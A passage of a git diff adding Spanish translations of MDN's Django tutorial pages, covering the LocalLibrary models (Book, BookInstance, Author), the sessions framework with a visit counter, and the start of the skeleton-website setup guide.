<code>CharField</code> para representar el título (<code>title)</code> y el <code>isbn</code> del libro (nota que el campo <code>isbn</code> especifica su etiqueta como "ISBN" utilizando el primer parámetro posicional, ya que la etiqueta por defecto hubiera sido "Isbn"). Además tenemos un campo para la sinopsis (<code>summary</code>), de tipo <code>TextField</code>, ya que este texto podría ser bastante largo.</p> + +<pre class="brush: python notranslate">from django.urls import reverse #Used to generate URLs by reversing the URL patterns + +class Book(models.Model): + """ + Modelo que representa un libro (pero no un Ejemplar específico). + """ + + title = models.CharField(max_length=200) + + author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True) + # ForeignKey, ya que un libro tiene un solo autor, pero el mismo autor puede haber escrito muchos libros. + # 'Author' es un string, en vez de un objeto, porque la clase Author aún no ha sido declarada. + + summary = models.TextField(max_length=1000, help_text="Ingrese una breve descripción del libro") + + isbn = models.CharField('ISBN',max_length=13, help_text='13 Caracteres <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') + + genre = models.ManyToManyField(Genre, help_text="Seleccione un genero para este libro") + # ManyToManyField, porque un género puede contener muchos libros y un libro puede cubrir varios géneros. + # La clase Genre ya ha sido definida, entonces podemos especificar el objeto arriba. + + def __str__(self): + """ + String que representa al objeto Book + """ + return self.title + + + def get_absolute_url(self): + """ + Devuelve el URL a una instancia particular de Book + """ + return reverse('book-detail', args=[str(self.id)]) +</pre> + +<p>El género es un campo de tipo <code>ManyToManyField</code>, de manera tal que un mismo libro podrá abarcar varios géneros y un mismo género podrá abarcar muchos libros. El autor es declarado como <code>ForeignKey</code>, de modo que cada libro podrá tener un sólo autor, pero un autor podrá tener muchos libros (en la vida real, un mismo libro puede tener varios autores, pero en nuestra implementación no).</p> + +<p>En la declaración de ambos campos, el modelo relacionado se ingresa como primer parámetro posicional, usando el nombre la clase que lo implementa o, bien, el nombre del modelo como string, si éste no ha sido implementado en el archivo, antes de la declaración del campo. Otros parámetros interesantes que podemos observar, en el campo <code>author</code>, son <code>null=True</code>, que permite a la base de datos almacenar <code>null</code> si el autor no ha sido seleccionado, y <code>on_delete=models.SET_NULL</code>, que pondrá en <code>null</code> el campo si el registro del autor relacionado es eliminado de la base de datos.</p> + +<p>El modelo también define <code>__str__()</code>, usando el campo <code>title</code> para representar un registro de la clase <code>Book</code>. El último método, <code>get_absoulte_url()</code> devuelve un URL que puede ser usado para acceder al detalle de un registro particular (para que esto funcione, debemos definir un mapeo de URL que tenga el nombre <code>book-detail</code> y una vista y una plantilla asociadas a él)</p> + +<h3 id="Modelo_BookInstance">Modelo 'BookInstance'</h3> + +<p>A continuación, copie el model <code>BookInstance</code> (mostrado a continuación) debajo de los otros modelos. <code>BookInstance</code> representa una copia específica de un libro que alguien pueda pedir prestado, en incluye información sobre si la copia esta disponible o sobre cual es la fecha que se espera sea devuelto, "imprenta" o detalles de versión, y un id único para el libro en la biblioteca.</p> + +<p>Algunos de los campos y métodos ahora serán familiares. El modelo usa</p> + +<ul> + <li><code>ForeignKey</code> para identificar el Libro asociado (cada libro puede tener muchas copias, pero una copia solo puede tener un <code>Book</code>).</li> + <li><code>CharField</code> para representar la imprenta (publicación específica) del libro.</li> +</ul> + +<pre class="brush: python notranslate">import uuid # Requerida para las instancias de libros únicos + +class BookInstance(models.Model): + """ + Modelo que representa una copia específica de un libro (i.e. que puede ser prestado por la biblioteca). + """ + id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text="ID único para este libro particular en toda la biblioteca") + book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True) + imprint = models.CharField(max_length=200) + due_back = models.DateField(null=True, blank=True) + + LOAN_STATUS = ( + ('m', 'Maintenance'), + ('o', 'On loan'), + ('a', 'Available'), + ('r', 'Reserved'), + ) + + status = models.CharField(max_length=1, choices=LOAN_STATUS, blank=True, default='m', help_text='Disponibilidad del libro') + + class Meta: + ordering = ["due_back"] + + + def __str__(self): + """ + String para representar el Objeto del Modelo + """ + return '%s (%s)' % (self.id,self.book.title)</pre> + +<p>Adicionalmente hemos declarado algunos tipos nuevos de campos:</p> + +<ul> + <li><code>UUIDField</code> es usado para establecer el campo <code>id</code> como una <code>primary_key</code> para este modelo. Este tipo de campo asigna un único valor global para cada instancia ( uno para cada libro que puedes encontrar en la biblioteca).</li> + <li><code>DateField</code> es usado para la fecha <code>due_back</code> (en la que se espera que el libro este diponible despues de ser prestado o estar en mantenimiento). Este valor puede ser <code>blank</code> o <code>null</code> (necesario cuando el libro esta disponible). El patrón metadata (<code>Class Meta</code>) usa este campo para ordenar registros cuando se retornan en una consulta.</li> + <li><code>status</code> es un <code>CharField</code> que define una lista de elección/selección. Como puedes ver, hemos definido una tupla que contiene tuplas de pares clave-valor y los pasamos a los argumentos de choice. El valor en un par clave/valor es un valor desplegable que el usuario puede seleccionar, mientras las claves son valores que en realidad son guardados en la opción seleccionada. Tambien establecemos un valor por defecto de 'm' (maintenance) ya que los libros inicialmente se crearán como no disponibles antes de que esten almacenados en los estantes.</li> +</ul> + +<p>El patrón <code>__str__()</code> representa el objeto <code>BookInstance</code> usando una combinación de su id único y el título del <code>Book</code> asociado.</p> + +<div class="note"> +<p><strong>Note</strong>: Un poco de Python:</p> + +<ul> + <li>El valor retornado por <code>__str__()</code> es una <em>cadena formateada</em>. Dentro de la cadena usamos <code>%s</code> para declarar "marcadores de posición". Después de la cadena ponemos <code>%</code> y después una tupla que contiene los valores que serán puestos en los marcadores de posición. Si solo tienes un marcador de posición entonces puedes omitir la tupla — e.j. <code>'Mi valor: %s' % variable.</code><br> + <br> + Note que aunque este enfoque es perfectamente válido, sea conciente que ya no es preferido. Desde Python 3 debes usar en su lugar el método <strong>format</strong>, ej. <code>'{0} ({1})'.format(self.id,self.book.title)</code>. Puedes leer más sobre esto <a href="https://www.python.org/dev/peps/pep-3101/">aquí</a>. A partir de Python 3.6 también puedes usar la sintaxis de interpolación de cadena, e.j. <code>f'{self.id} ({self.book.title})'</code>.</li> +</ul> +</div> + +<h3 id="Modelo_Author">Modelo 'Author'</h3> + +<p>Copia el modelo <code>Author</code> (mostrado abajo) bajo el código existente en <strong>models.py</strong>.</p> + +<p>Todos los campos/métodos ahora deben ser familiares. El modelo define a un autor que tiene un primer nombre, apellido, fecha de nacimiento, y (opcional) fecha de fallecimiento. Especifica que de forma predeterminada el <code>__str__()</code> retorna el nombre en el <em>orden apellido</em>, <em>primer nombre</em>. El método <code>get_absolute_url()</code> invierte el mapeo URL <code>author-detail</code> para obtener el URL para mostrar un autor individual.</p> + +<pre class="brush: python notranslate">class Author(models.Model): + """ + Modelo que representa un autor + """ + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + """ + Retorna la url para acceder a una instancia particular de un autor. + """ + return reverse('author-detail', args=[str(self.id)]) + + + def __str__(self): + """ + String para representar el Objeto Modelo + """ + return '%s, %s' % (self.last_name, self.first_name) +</pre> + +<h2 id="Reiniciar_las_migraciones_a_la_base_de_datos">Reiniciar las migraciones a la base de datos</h2> + +<p>Todos tus modelos han sido creados. Para añadirlos a tu base de datos, vuelve a ejecutar las migraciones de tu base de datos.</p> + +<pre class="notranslate"><code>python3 manage.py makemigrations +python3 manage.py migrate</code></pre> + +<h2 id="Modelo_Language_-_desafío">Modelo 'Language' - desafío</h2> + +<p>Imagina que un benefactor local dona un número de libros nuevos escritos en otro lenguaje (digamos, Farsi). El desafío es averiguar como estos pueden ser bien representados en tu sitio Web, y luego agregarlos a los modelos.</p> + +<p>Algunas cosas a considerar:</p> + +<ul> + <li>¿Debe asociarse un "lenguaje" a un <code>Book</code>, <code>BookInstance</code>, o algún otro objeto?</li> + <li>¿Deberian representarse los diferentes idiomas usando un modelo, un campo de texto libre o una lista de seleccion codificada?</li> +</ul> + +<p>Después que hayas decidido, agrega el campo. Puedes ver que decidimos nostros en Github <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">aquí</a>.</p> + +<p>No olvides que después de un cambio en tu modelo, debes volver a hacer las migraciones para que se apliquen los cambios en tu base de datos.</p> + +<pre class="brush: bash notranslate"><code>python3 manage.py makemigrations</code><code> +python3 manage.py migrate</code></pre> + +<ul> +</ul> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p>En este artículo hemos aprendido como son definidos los modelos, y luego usar esta información para diseñar e implementar modelos apropiados para el sitio Web <em>LocalLibrary</em>.</p> + +<p>En este punto nos desviaremos brevemente de la creación del sitio, y miraremos el <em>sitio de Administración de </em><em>Django</em>. Este sitio nos permitirá añadir algunos datos a la biblioteca, los cuales podemos mostrar usando nuestras (aún por crear) vistas y plantillas.</p> + +<h2 id="Vea_también">Vea también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/">Escribiendo tu primera aplicación Django, parte 2</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/db/queries/">Realizando consultas</a> (Django Docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/querysets/">Referencia del API QuerySet</a> (Django Docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_modulo">En este modulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/sessions/index.html b/files/es/learn/server-side/django/sessions/index.html new file mode 100644 index 0000000000..f5b751c115 --- /dev/null +++ b/files/es/learn/server-side/django/sessions/index.html @@ -0,0 +1,200 @@ +--- +title: 'Tutorial de Django Parte 7: Framework de sesiones' +slug: Learn/Server-side/Django/Sessions +tags: + - Artículo + - Principiante + - Python + - Servidor + - Sesion + - Sesiones + - Tutorial + - aprende + - django + - lado-servidor +translation_of: Learn/Server-side/Django/Sessions +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication", "Learn/Server-side/Django")}}</div> + +<p class="summary">Este tutorial extiende nuestro sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>, añadiendo un contador de visitas a tu página de inicio basado en sesiones. Es un ejemplo relativamente simple, pero muestra cómo puedes usar el framework de sesión para proporcionar persistencia a usuarios anónimos en tus propios sitios.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td>Completar todos los tópicos anteriores del tutorial, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Entender como emplear las sesiones.</td> + </tr> + </tbody> +</table> + +<h2 id="Resumen">Resumen</h2> + +<p>El sitio web de la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a> que creamos en los tutoriales previos permite a los usuarios explorar los libros y autores en el catálogo. Mientras que el contenido se genera dinámicamente desde la base de datos, todos los usuarios básicamente tendrán acceso a las mismas páginas y tipos de información cuando usan el sitio.</p> + +<p>En una biblioteca "real" podrías querer dar a cada usuario individual una experiencia personalizada, basada en su uso previo del sitio, preferencias, etc. Por ejemplo, podrías ocultar los mensajes de advertencia que el usuario ya ha aceptado previamente la próxima vez que visite el sitio, o guardar y respetar sus preferencias (ej. el número de resultados de búsqueda que quiere desplegar en cada página).</p> + +<p>El framework de sesiones te permite implementar este tipo de comportamiento, pudiendo guardar y recuperar información arbitraria en base a cada visitante particular del sitio.</p> + +<h2 id="¿Qué_son_las_sesiones">¿Qué son las sesiones?</h2> + +<p>Toda comunicación entre los navegadores web y los servidores se da a través del protocolo HTTP, que es <em>sin estado</em>. El hecho de que el protocolo sea sin estado significa que los mensajes entre el cliente y el servidor son completamente independientes entre sí -- no existe una noción de "secuencia" o comportamiento basado en mensajes previos. Como resultado, si quieres tener un sitio que guarde registro de la relación que tiene lugar con un cliente, necesitas implementarlo tú mismo.</p> + +<p>Las sesiones son el mecanismo que usa Django (y la mayor parte de Internet) para guardar registro del "estado" entre el sitio y un navegador en particular. Las sesiones te permiten almacenar información arbitraria por navegador, y tener esta información disponible para el sitio cuando el navegador se conecta. Cada pieza individual de información asociada con una sesión se conoce como "clave", que se usa tanto para guardar como para recuperar la información.</p> + +<p>Django usa una cookie que contiene un <em>id de sesión</em> específica para identificar cada navegador y su sesión asociada con el sitio. La información real de la sesión se guarda por defecto en la base de datos del sitio (esto es más seguro que guardar la información en una cookie, donde es más vulnerable para los usuarios maliciosos). Puedes configurar Django para guardar la información de sesión en otros lugares (caché, archivos, cookies "seguras"), pero la opción por defecto es una buena opción y relativamente segura.</p> + +<h2 id="Habilitando_las_sesiones">Habilitando las sesiones</h2> + +<p>Las sesiones fueron automáticamente habilitadas cuando <a href="/es/docs/Learn/Server-side/Django/skeleton_website">creamos el sitio web esqueleto</a> (en el tutorial 2).</p> + +<p>La configuración está establecida en las secciones <code>INSTALLED_APPS</code> y <code>MIDDLEWARE</code> del archivo del proyecto (<strong>locallibrary/locallibrary/settings.py</strong>), como se muestra abajo:</p> + +<pre class="brush: python notranslate">INSTALLED_APPS = [ + ... +<strong> 'django.contrib.sessions',</strong> + .... + +MIDDLEWARE = [ + ... +<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> + ....</pre> + +<h2 id="Usando_las_sesiones">Usando las sesiones</h2> + +<p>Puedes usar el atributo <code>session</code> en la vista desde el parámetro <code>request</code> (una <code>HttpRequest</code> que se envía como el primer argumento a la vista). Este atributo de sesión representa la conección específica con el usuario actual (o para ser más preciso, la conección con el <em>navegador</em> actual, como se identifica mediante la id de sesión en la cookie del navegador para este sitio).</p> + +<p>El atributo <code>session</code> es un objeto tipo diccionario que puedes leer y escribir tantas veces como quieras en tu vista, modificándolo como desees. Puedes realizar todas las operaciones normales de diccionario, incluyendo eliminar toda la información, probar si una clave está presente, iterar a través de la información, etc. Sin embargo, la mayor parte del tiempo solo usarás la API estándar de "diccionario" para recuperar y establecer valores.</p> + +<p>Los fragmentos de código de abajo te muestran cómo puedes recuperar, establecer o eliminar información con la clave "<code>my_car</code>", asociada con la sesión actual (del navegador).</p> + +<div class="note"> +<p><strong>Nota</strong>: Una de las cosas grandiosas de Django es que no necesitas pensar sobre los mecanismos que relacionan la sesión con tu solicitud actual en tu vista. Si fuéramos a usar los fragmentos de abajo en nuestra vista, sabríamos que la información sobre <code>my_car</code> está asociada solo con el navegador que envió la solicitud.</p> +</div> + +<pre class="brush: python notranslate"># Obtener un dato de la sesión por su clave (ej. 'my_car'), generando un KeyError si la clave no existe +my_car = request.session['my_car'] + +# Obtener un dato de la sesión, estableciendo un valor por defecto ('mini') si el dato requerido no existe +my_car = request.session.get('my_car', 'mini') + +# Asignar un dato a la sesión +request.session['my_car'] = 'mini' + +# Eliminar un dato de la sesión +del request.session['my_car'] +</pre> + +<p>La API ofrece también una cantidad de métodos adicionales que se usan mayoritariamente para administrar la cookie de sesión asociada. Por ejemplo, hay métodos para probar si el navegador cliente soporta cookies, establecer y revisar las fechas de expiración de las cookies, y para eliminar sesiones expiradas del almacén de datos. Puedes encontrar información sobre la API completa en <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Cómo usar sesiones</a> (Django docs).</p> + +<h2 id="Guardando_la_información_de_la_sesión">Guardando la información de la sesión</h2> + +<p>Por defecto, Django solo guarda información en la base de datos de sesión y envía la cookie de sesión al cliente cuando la sesión ha sido <em>modificada</em> (asignada) o <em>eliminada</em>. Si estás actualizando algún dato usando su clave de sesión como se mostró en la sección previa, ¡no necesitas preocuparte por esto! Por ejemplo:</p> + +<pre class="brush: python notranslate"># Esto es detectado como un cambio en la sesión, así que la información de la sesión es guardada. +request.session['my_car'] = 'mini'</pre> + +<p>Si estás actualizando algún dato <em>dentro</em> de la información de sesión, Django no reconocerá que has hecho un cambio en la sesión y guardado la información (por ejemplo, si fueras a cambiar el dato "<code>wheels</code>" dentro de tu dato "<code>my_car</code>", como se muestra abajo). En este caso, necesitarás marcar explícitamente la sesión como que ha sido modificada.</p> + +<pre class="brush: python notranslate"># Objeto de sesión no directamente modificada, solo información dentro de la sesión. +# ¡Cambios no guardados! +request.session['my_car']['wheels'] = 'alloy' + +# Establecer la sesión como modificada para forzar a que se guarden los cambios. +<code>request.session.modified = True</code> +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Puedes cambiar el comportamiento para que el sitio actualice la base de datos y envíe la cookie en cada solicitud añádiendo <code>SESSION_SAVE_EVERY_REQUEST = True</code> a la configuración de tu proyecto (<strong>locallibrary/locallibrary/settings.py</strong>).</p> +</div> + +<h2 id="Ejemplo_simple_--_obteniendo_conteos_de_visitas">Ejemplo simple -- obteniendo conteos de visitas</h2> + +<p>Como un ejemplo simple del mundo real, actualizaremos nuestra biblioteca para decirle al usuario actual cuántas veces ha visitado la página principal de <em>BibliotecaLocal</em>.</p> + +<p>Abre <strong>/locallibrary/catalog/views.py</strong>, y aplica los cambios que se muestran con negrita abajo.</p> + +<pre class="brush: python notranslate">def index(request): + ... + + num_authors=Author.objects.count() # El 'all()' se obvia en este caso. + +<strong> # Numero de visitas a esta view, como está contado en la variable de sesión. + num_visits = request.session.get('num_visits', 0) + request.session['num_visits'] = num_visits + 1</strong> + + <strong>context = { + 'num_books':num_books, + 'num_instances':num_instances, + 'num_instances_available':num_instances_available, + 'num_authors':num_authors, + 'num_visits':num_visits, + } </strong> + + # Carga la plantilla index.html con la información adicional en la variable context. + return render(request, 'index.html', context=context)</pre> + +<p>Aquí primero obtenemos el valor de la clave de sesión <code>'num_visits'</code>, estableciendo el valor a 0 si no había sido establecido previamente. Cada vez que se recibe la solicitud, incrementamos el valor y lo guardamos de vuelta en la sesión (para la siguiente vez que el usuario visita la página). La variable <code>num_visits</code> se envía entonces a la plantilla en nuestra variable de contexto.</p> + +<div class="note"> +<p><strong>Nota</strong>: Aquí podríamos incluso revisar si el navegador soporta cookies (mira <a href="/es/docs/https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Cómo usar sesiones</a> para ejemplos) o diseñar nuestra UI de modo que no importe si el navegador soporta cookies o no.</p> +</div> + +<p>Añade la línea que se ve al final del siguiente bloque a tu plantilla HTML principal (<strong>/locallibrary/catalog/templates/index.html</strong>) al final de la sección "Dynamic content" para desplegar la variable de contexto:</p> + +<pre class="brush: html notranslate"><h2>Dynamic content</h2> + +<p>The library has the following record counts:</p> +<ul> + <li><strong>Books:</strong> \{{ num_books }}</li> + <li><strong>Copies:</strong> \{{ num_instances }}</li> + <li><strong>Copies available:</strong> \{{ num_instances_available }}</li> + <li><strong>Authors:</strong> \{{ num_authors }}</li> +</ul> + +<strong><p>You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.</p></strong> +</pre> + +<p>Guarda tus cambios y reinicia el servidor de pruebas. Cada vez que refresques la página, el número se debería actualizar.</p> + +<ul> +</ul> + +<h2 id="Resumen_2">Resumen</h2> + +<p>Ahora sabes lo fácil que es usar sesiones para mejorar tu interacción con usuarios <em>anónimos</em>.</p> + +<p>En nuestros siguientes artículos explicaremos el framework de autenticación y autorización (permisos), y te mostraremos cómo soportar cuentas de usuario.</p> + +<h2 id="Mira_también">Mira también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Cómo usar sesiones</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/skeleton_website/index.html b/files/es/learn/server-side/django/skeleton_website/index.html new file mode 100644 index 0000000000..96c8b0d3b0 --- /dev/null +++ b/files/es/learn/server-side/django/skeleton_website/index.html @@ -0,0 +1,397 @@ +--- +title: 'Tutorial Django Parte 2: Creación del esqueleto del sitio web' +slug: Learn/Server-side/Django/skeleton_website +tags: + - Aprendizaje + - Artículo + - Codificación de scripts + - Guía + - Principiante + - Tutorial + - django + - introducción + - lado servidor +translation_of: Learn/Server-side/Django/skeleton_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div> + +<p class="summary">Este segundo artículo de nuestro <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial Django</a> muestra cómo puedes crear un proyecto de "esqueleto" de sitio web como base, que puedes continuar luego llenado de configuraciones específicas del sitio, urls, modelos, vistas y plantillas.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">Poner en marcha un entorno de desarrollo Django</a>. Repasar el <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial Django</a>.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Ser capaz de usar las herramientas de Django para empezar tus propios proyectos de sitios web nuevos.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Visión_general">Visión general</h2> + +<p>Este artículo muestra como puedes crear un sitio web "esqueleto", que puedes luego llenar con configuraciones específicas del sitio, urls, modelos, vistas y plantillas (trataremos ésto en artículos posteriores).</p> + +<p>El proceso es sencillo:</p> + +<ol> + <li><span style="line-height: 1.5;">Usar la herramienta </span><code style="font-style: normal; font-weight: normal; line-height: 1.5;">django-admin</code><span style="line-height: 1.5;"> para crear la carpeta del proyecto, los ficheros de plantillas básicos y el script de gestión del proyecto </span><span style="line-height: 1.5;"> (</span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;">).</span></li> + <li><span style="line-height: 1.5;">Usar </span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;"> para crear una o más <em>aplicaciones</em></span><span style="line-height: 1.5;">.</span> + <div class="note"> + <p><strong>Nota</strong>: Un sitio web puede consistir de una o más secciones, ej. sitio principal, blog, wiki, area de descargas, etc. Django te recomienda encarecidamente que desarrolles estos componentes como <em>aplicaciones</em> separadas que podrían ser reutilizadas, si se desea, en otros proyectos. </p> + </div> + </li> + <li><span style="line-height: 1.5;">Registrar las nuevas aplicaciones para incluirlas en el proyecto. </span></li> + <li><span style="line-height: 1.5;">Conectar el mapeador url de cada aplicación</span><span style="line-height: 1.5;">.</span></li> +</ol> + +<p>Para el <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">sitio web de la BibliotecaLocal</a> la carpeta del sitio y la carpeta de su proyecto se llamarán <em>locallibrary</em>, y tendremos sólo una aplicación llamada <em>catalog</em>. El nivel más alto de la estructura de carpetas quedará por tanto como sigue:</p> + +<pre class="brush: bash"><em>locallibrary/ # Carpeta del sitio web</em> + <strong>manage.py </strong># Script para ejecutar las herramientas de Django para este proyecto (creadas usando django-admin) + <em>locallibrary/ # Carpeta del Sitio web/Proyecto </em>(creada usando django-admin) + <em>catalog/ # Carpeta de la Aplicación </em>(creada usando manage.py) +</pre> + +<p><span style="line-height: 1.5;">Las siguientes secciones abordan los pasos del proceso en detalle, y muestran cómo puedes comprobar los cambios. Al final de cada artículo trataremos alguna de los otros ajustes aplicables al sitio entero que deberías también efectuar en esta etapa</span><span style="line-height: 1.5;">.</span></p> + +<h2 id="Creación_del_proyecto">Creación del proyecto</h2> + +<p>En primer lugar abre una ventana de comandos/terminal, navega hasta donde quieres almacenar tus apps Django (hazlo en algún lugar que sea fácil de encontrar, como dentro de la carpeta de tus <span style="line-height: 1.5;"><em>documentos</em>), y crea una carpeta para tu nuevo sitio web (en este caso </span><span style="line-height: 1.5;">: </span><em>locallibrary</em>). Entra en el directorio a continuación usando el comando cd:</p> + +<pre class="brush: bash">mkdir locallibrary +cd locallibrary</pre> + +<p>Crear el nuevo proyecto usando el comando <code>django-admin startproject</code> como se muestra, y navega luego dentro de la carpeta.</p> + +<pre class="brush: bash">django-admin startproject locallibrary . +cd locallibrary</pre> + +<p>La herramienta <code>django-admin</code> crea una estructura de carpetas/ficheros como se muestra abajo:</p> + +<pre class="brush: bash"><em>locallibrary/</em> + <strong>manage.py</strong> + <em>locallibrary/</em> + settings.py + urls.py + wsgi.py</pre> + +<p>La subcarpeta del proyecto <em>locallibrary</em> es el punto de entrada al sitio web: </p> + +<ul> + <li><strong>settings.py</strong> contiene todos los ajustes del sitio. Es donde registramos todas las aplicaciones que creamos, la localización de nuestros ficheros estáticos, los detalles de configuración de la base de datos, etc.</li> + <li><strong>urls.py</strong> define los mapeos url-vistas. A pesar de que éste podría contener <span style="line-height: 1.5;"><em>todo</em> el código del mapeo url, es más común delegar algo del mapeo a las propias aplicaciones, como verás más tarde</span><span style="line-height: 1.5;">. </span></li> + <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;"> se usa para ayudar a la aplicación Django a comunicarse con el servidor web. Puedes tratarlo como código base que puedes utilizar de plantilla</span><span style="line-height: 1.5;">.</span></li> +</ul> + +<p>El script <strong>manage.py</strong> se usa para crear aplicaciones, trabajar con bases de datos y empezar el desarrollo del servidor web.</p> + +<h2 id="Creación_de_la_aplicación_catalog">Creación de la aplicación catalog</h2> + +<p>A continuación, ejecuta el siguiente comando para crear la aplicación <em>catalog</em> que vivirá dentro de nuestro proyecto locallibrary (éste debe ejecutarse en la misma carpeta que el <strong>manage.py</strong> de tu proyecto):</p> + +<pre class="brush: bash">python3 manage.py startapp catalog</pre> + +<div class="note"> +<p><strong>Nota</strong>: el comando de arriba es para Linux/Mac OS X. En Windows el comando debería ser: <code>py -3 manage.py startapp catalog</code></p> + +<p>Si estás trabajando en Windows, reemplaza <code>python3</code> por <code>py -3</code> a lo largo de este módulo o simplemente python: <code>python manage.py startapp catalog</code>.</p> +</div> + +<p>La herramienta crea una nueva carpeta y la rellena con ficheros para las diferentes partes de la aplicación (mostradas en negrilla abajo). La mayoría de los ficheros se nombran de acuerdo a su propósito, para que sea má útil (ej. las vistas se deberán guardar en <strong>views.py</strong>, los Modelos en <strong>models.py</strong>, las pruebas en <strong>tests.py</strong>, la configuración del sitio de administración en 